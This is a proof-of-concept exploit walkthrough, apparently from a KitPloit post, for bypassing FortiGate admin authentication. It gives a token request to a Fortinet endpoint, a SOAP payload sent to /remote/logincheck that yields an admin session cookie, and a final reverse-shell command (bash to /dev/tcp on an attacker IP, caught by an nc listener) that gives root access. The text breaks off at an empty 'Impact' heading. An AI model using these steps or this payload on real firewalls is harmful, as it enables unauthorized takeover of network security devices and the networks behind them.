PoC

1. Attacker machine
   Listener for reverse shell:

   root@kitploit:~

   nc -lvnp 4444
   

2. Obtain attacker token (15 min TTL)

   root@kitploit:~

   curl -k -X POST https://customerapiauth.fortinet.com/api/v1/auth/token \
     -H "Content-Type: application/json" \
     -d '{"username":"[email protected]","password":"AttackerPass123"}'
   

   Response (snippet):

   root@kitploit:~

   {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGc...","expires_in":900}
   

   Copy the access_token value.

3. Build bypass payload
   Save as bypass.xml:

   root@kitploit:~

   <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Body>
       <authRequest>
         <serialNumber>FGT80ETK21000000</serialNumber>
         <token>eyJ0eXAiOiJKV1QiLCJhbGc...</token>
         <action>login</action>
       </authRequest>
     </soapenv:Body>
   </soapenv:Envelope>
   

4. Send to victim (any firmware ≤ table above)

   root@kitploit:~

   curl -k -X POST https://<VICTIM-IP>:443/remote/logincheck \
     -H "Content-Type: application/xml" \
     --data @bypass.xml \
     -c cookies.txt
   

   HTTP 200 + Set-Cookie: APSCOOKIE=... → success.

5. Browse admin GUI
   Open browser or use curl with saved cookie:

   root@kitploit:~

   curl -k -b cookies.txt https://<VICTIM-IP>/ng/
   

   → Dashboard appears no password asked.

6. Root shell (CLI widget)
   Inside GUI: Dashboard → CLI Console

   root@kitploit:~

   execute bash
   bash-4.4# bash -i >& /dev/tcp/192.168.8.129/4444 0>&1
   

   Listener receives:

   root@kitploit:~

   root@FGT80ETK21000000:/#
   

Impact